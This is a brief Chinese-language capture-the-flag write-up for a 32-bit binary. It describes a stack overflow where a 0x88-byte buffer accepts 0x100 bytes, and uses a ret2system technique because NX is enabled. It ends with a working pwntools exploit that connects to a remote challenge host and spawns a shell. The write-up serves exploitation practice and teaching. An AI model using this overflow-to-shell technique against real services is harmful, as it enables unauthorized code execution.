查看基本信息
尝试运行
IDA F5
继续查看脆弱函数,88h的缓冲区可以写入0x100,发现溢出点
shift+F12,发现了“/bin/sh”
来看一下函数
这里的逻辑:通过溢出,跳转到指定的位置,因为开启了NX保护,不能直接写Shellcode,所以跳转到system函数地址,然后构造system函数所需的参数
Exp
from pwn import *
p=remote('111.200.241.244',57421)
#p=process('./1ab77c073b4f4524b73e086d063f884e')
elf=ELF('./1ab77c073b4f4524b73e086d063f884e')
system_addr=elf.symbols['system']
binsh_addr=0x0804A024
payload=b'A'*(0x88+0x4)+p32(system_addr)+p32(0)+p32(binsh_addr)
#p32(0)为system()函数的返回地址
p.recvuntil("Input:\n")
p.sendline(payload)
p.interactive()
: )